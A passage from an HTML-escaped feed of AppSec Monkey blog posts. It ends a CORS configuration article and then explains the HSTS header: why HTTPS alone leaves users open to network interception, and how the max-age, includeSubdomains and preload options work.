    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="nx"&gt;doctype&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;en&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;head&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;meta&lt;/span&gt; &lt;span class="nx"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;utf&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/title&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: If you specify CORS headers like this, you are giving the allowed origins complete control over your website, including any authenticated user data and functionality. The same-origin policy is there to protect you, so think carefully before opting out of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using CORS
&lt;/h2&gt;

&lt;p&gt;If your requirements are simple, you can just add the static headers to your application/web server configuration.&lt;/p&gt;

&lt;p&gt;However, if you have to deal with multiple origins, it's best to use a CORS library for your development framework. For example, this is how you configure CORS in flask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nc"&gt;CORS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://a.local&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://c.local&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;allow_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;content-type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;supports_credentials&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PUT&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PATCH&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DELETE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exposing headers
&lt;/h2&gt;

&lt;p&gt;By default, only the &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/CORS-safelisted_response_header" rel="noopener noreferrer"&gt;CORS-safelisted response headers&lt;/a&gt; are exposed to to JavaScript code in CORS requests. So if your webserver returns the header &lt;code&gt;Foo: Bar&lt;/code&gt;, even CORS requests won't be able to access it.&lt;/p&gt;

&lt;p&gt;If you &lt;em&gt;want&lt;/em&gt; browsers to access this header, you can do so via the &lt;code&gt;Access-Control-Expose-Headers&lt;/code&gt; like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Expose-Headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Foo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Browsers consider two websites to be of the same origin if they have the same scheme, host, and port.&lt;/p&gt;

&lt;p&gt;The same-origin policy places several restrictions over cross-origin interactions. Most notably for CORS: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Sending "simple" requests with a whitelisted HTTP verb, headers, and content-type is allowed, but accessing the response is not.&lt;/li&gt;
&lt;li&gt;Sending "preflighted" requests with non-whitelisted HTTP verb, headers and content-type are not allowed at all.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;CORS, or Cross-Origin Resource Sharing, is a browser &lt;em&gt;insecurity&lt;/em&gt;-mechanism for your web application to opt-out of some of these restrictions in a controlled way.&lt;/p&gt;

&lt;p&gt;However, CORS should be used with consideration and implemented using a well-established CORS library for your development framework of choice.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>HSTS Header (Strict Transport Security) Explained</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Sat, 06 Mar 2021 11:34:27 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/hsts-header-strict-transport-security-explained-ab1</link>
      <guid>https://forem.com/appsecmonkey/hsts-header-strict-transport-security-explained-ab1</guid>
      <description>&lt;p&gt;Learn why HTTPS is not enough to protect your website from network attacks and how the HSTS header comes in to solve the problem. Let's begin!&lt;/p&gt;

&lt;p&gt;The original article can be found here: &lt;a href="https://www.appsecmonkey.com/blog/hsts/" rel="noopener noreferrer"&gt;HSTS on AppSec Monkey&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is HSTS?
&lt;/h2&gt;

&lt;p&gt;HTTP Strict Transport Security is an opt-in browser security feature that prevents browsers from making any unencrypted connections to a domain.&lt;/p&gt;

&lt;p&gt;By unencrypted connections I mean using &lt;code&gt;http&lt;/code&gt; instead of &lt;code&gt;https&lt;/code&gt; (or &lt;code&gt;ws&lt;/code&gt; instead of &lt;code&gt;wss&lt;/code&gt; for WebSockets).&lt;/p&gt;

&lt;p&gt;You can enable the protection for your website with the &lt;code&gt;Strict-Transport-Security&lt;/code&gt; header like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;options&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are 3 options, &lt;code&gt;max-age&lt;/code&gt;, &lt;code&gt;includeSubdomains&lt;/code&gt; and &lt;code&gt;preload&lt;/code&gt;. We'll get to those in a minute, but first, let me explain why it is so important that you implement HSTS in your web application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is HSTS important?
&lt;/h2&gt;

&lt;p&gt;The HSTS header prevents network attacks against your web application. If you are not using it, here is how your application might work: &lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 1: No HSTS, No Attacker
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The user types in &lt;a href="http://www.example.com" rel="noopener noreferrer"&gt;www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjrubnh7yfsi966hv61u2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjrubnh7yfsi966hv61u2.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's browser sends an unencrypted HTTP request to &lt;a href="http://www.example.com/" rel="noopener noreferrer"&gt;http://www.example.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnd2j6dycyrqzb2psdzj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnd2j6dycyrqzb2psdzj9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webserver returns a redirect to &lt;a href="https://www.example.com" rel="noopener noreferrer"&gt;https://www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4ezl6iv3ib7uq4mka97.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4ezl6iv3ib7uq4mka97.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's browser sends an encrypted HTTPS request to &lt;a href="https://www.example.com/" rel="noopener noreferrer"&gt;https://www.example.com/&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mwnxfonxaa47lkici1o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mwnxfonxaa47lkici1o.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webserver returns with the login page.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3t6t22wg2k031bsv9dz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3t6t22wg2k031bsv9dz.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user enters their username and password, which the browser safely sends to the webserver across a secure TLS connection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjo5g9xsmfsm74p2cbw4y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjo5g9xsmfsm74p2cbw4y.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But what if there is an attacker on the network? HTTPS doesn't help. Let me show you what I mean.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 2: No HSTS, Attacker on the network
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The user types in &lt;a href="http://www.example.com" rel="noopener noreferrer"&gt;www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpbu0hvzzqz13lvc8dclg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpbu0hvzzqz13lvc8dclg.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's browser sends an unencrypted HTTP request to &lt;a href="http://www.example.com/" rel="noopener noreferrer"&gt;http://www.example.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapxpysxfp5jkao6strgv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapxpysxfp5jkao6strgv.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The attacker intercepts this unencrypted request and returns the login page from the real server. Crucially, the connection is still unencrypted.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54at2jq43yizp15wt6bn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54at2jq43yizp15wt6bn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user gives their username and password straight to the attacker over the unencrypted connection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftk273i2j72lf4a9hvg6k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftk273i2j72lf4a9hvg6k.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oops. That's not good.&lt;/p&gt;

&lt;p&gt;Now let's see what happens when the HSTS header protects the web application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 3: HSTS
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The user types in &lt;a href="http://www.example.com" rel="noopener noreferrer"&gt;www.example.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpbu0hvzzqz13lvc8dclg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpbu0hvzzqz13lvc8dclg.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The website uses HSTS, so the user's browser right away sends an encrypted HTTPS request to &lt;a href="https://www.example.com/" rel="noopener noreferrer"&gt;https://www.example.com/&lt;/a&gt;. The attacker doesn't get a chance.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F31qrb8mueayx6qqxy5mw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F31qrb8mueayx6qqxy5mw.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webserver returns with the login page.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuas4od3hpghf0k24sv14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuas4od3hpghf0k24sv14.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user enters their username and password, which the browser safely sends across a secure TLS connection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd7b3pmye52a8tl31n40j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd7b3pmye52a8tl31n40j.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;See how HSTS prevented the attack? But now you may be asking...&lt;/p&gt;

&lt;h2&gt;
  
  
  What if the user is visiting the website for the first time?
&lt;/h2&gt;

&lt;p&gt;An excellent question! If the user is visiting the website for the first time, the user's browser hasn't had the chance to see the HSTS header yet.&lt;/p&gt;

&lt;p&gt;In this case, the attack is still possible because the attacker takes over the connection before the actual web server gets a chance to tell the user's browser to use HSTS.&lt;/p&gt;

&lt;p&gt;Luckily, there is a solution, and I promise you'll know everything about it by the end of this article. It has to do with the third option, &lt;code&gt;preload&lt;/code&gt;, but let's look at the other two options first!&lt;/p&gt;

&lt;h2&gt;
  
  
  The max-age parameter
&lt;/h2&gt;

&lt;p&gt;The first parameter in the HSTS header is &lt;code&gt;max-age&lt;/code&gt;. It is the amount in seconds for how long you want browsers to remember the header once they see it.&lt;/p&gt;

&lt;p&gt;For example, the following header would enable HSTS for one minute for the domain that sends it. The browser would then, for 60 seconds, refuse to make any unencrypted connections to the domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=60&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Such a short time is generally not very useful. It's more common to see values for a year or two years like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1 year&lt;/span&gt;
&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=31536000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 2 years&lt;/span&gt;
&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=63072000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browsers will refresh the time every time they see the header.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;☝️ &lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When implementing HSTS in a production environment, it's good to start with a small &lt;code&gt;max-age&lt;/code&gt; and then slowly ramp it up to a year or two years. This way, you can quickly recover if something breaks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Canceling HSTS
&lt;/h3&gt;

&lt;p&gt;The second use-case for the &lt;code&gt;max-age&lt;/code&gt; parameter is to cancel HSTS if you want to get rid of it. By returning &lt;code&gt;max-age&lt;/code&gt; of zero, browsers will remove the protection once they see the header.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Cancel HSTS&lt;/span&gt;
&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The includeSubdomains parameter
&lt;/h2&gt;

&lt;p&gt;The second parameter is &lt;code&gt;includeSubdomains&lt;/code&gt;. By default, the HSTS header will only affect the domain that serves it. That is, if &lt;code&gt;https://www.example.com&lt;/code&gt; sends it, then only &lt;code&gt;www.example.com&lt;/code&gt; will be protected, &lt;code&gt;foo.www.example.com&lt;/code&gt; will not.&lt;/p&gt;

&lt;p&gt;To include subdomains, add &lt;code&gt;includeSubdomains&lt;/code&gt; like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Store for 2 years, apply also to subdomains&lt;/span&gt;
&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=6307200; includeSubdomains&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;☝️ &lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;includeSubdomains&lt;/code&gt; directive is a requirement for preloading, which we'll look at next. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  HSTS preloading
&lt;/h2&gt;

&lt;p&gt;The third parameter, &lt;code&gt;preload&lt;/code&gt;, facilitates HSTS preloading.&lt;/p&gt;

&lt;p&gt;As I mentioned earlier, preloading is a mechanism that you can use to protect your website with the HSTS header even when the user is visiting the website for the first time.&lt;/p&gt;

&lt;p&gt;It works so that you tell Google to protect your website, and they will see that all of the major browsers will &lt;em&gt;change their source code&lt;/em&gt; to preload the HSTS header for your domain.&lt;/p&gt;

&lt;p&gt;No joke! You can see the JSON file right &lt;a href="https://raw.githubusercontent.com/chromium/chromium/master/net/http/transport_security_state_static.json" rel="noopener noreferrer"&gt;here&lt;/a&gt;. If you look carefully, you will find appsecmonkey there!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"appsecmonkey.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"policy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bulk-1-year"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"force-https"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"include_subdomains"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are a couple of prerequisites for enabling preloading for your domain, though.&lt;/p&gt;

&lt;p&gt;First and foremost, you have to serve an HSTS header with the &lt;code&gt;preload&lt;/code&gt; directive. Additionally, the &lt;code&gt;max-age&lt;/code&gt; has to be &amp;gt;= a year, and you have to add &lt;code&gt;includeSubdomains&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Store for two years, also apply to subdomains, enable preloading&lt;/span&gt;
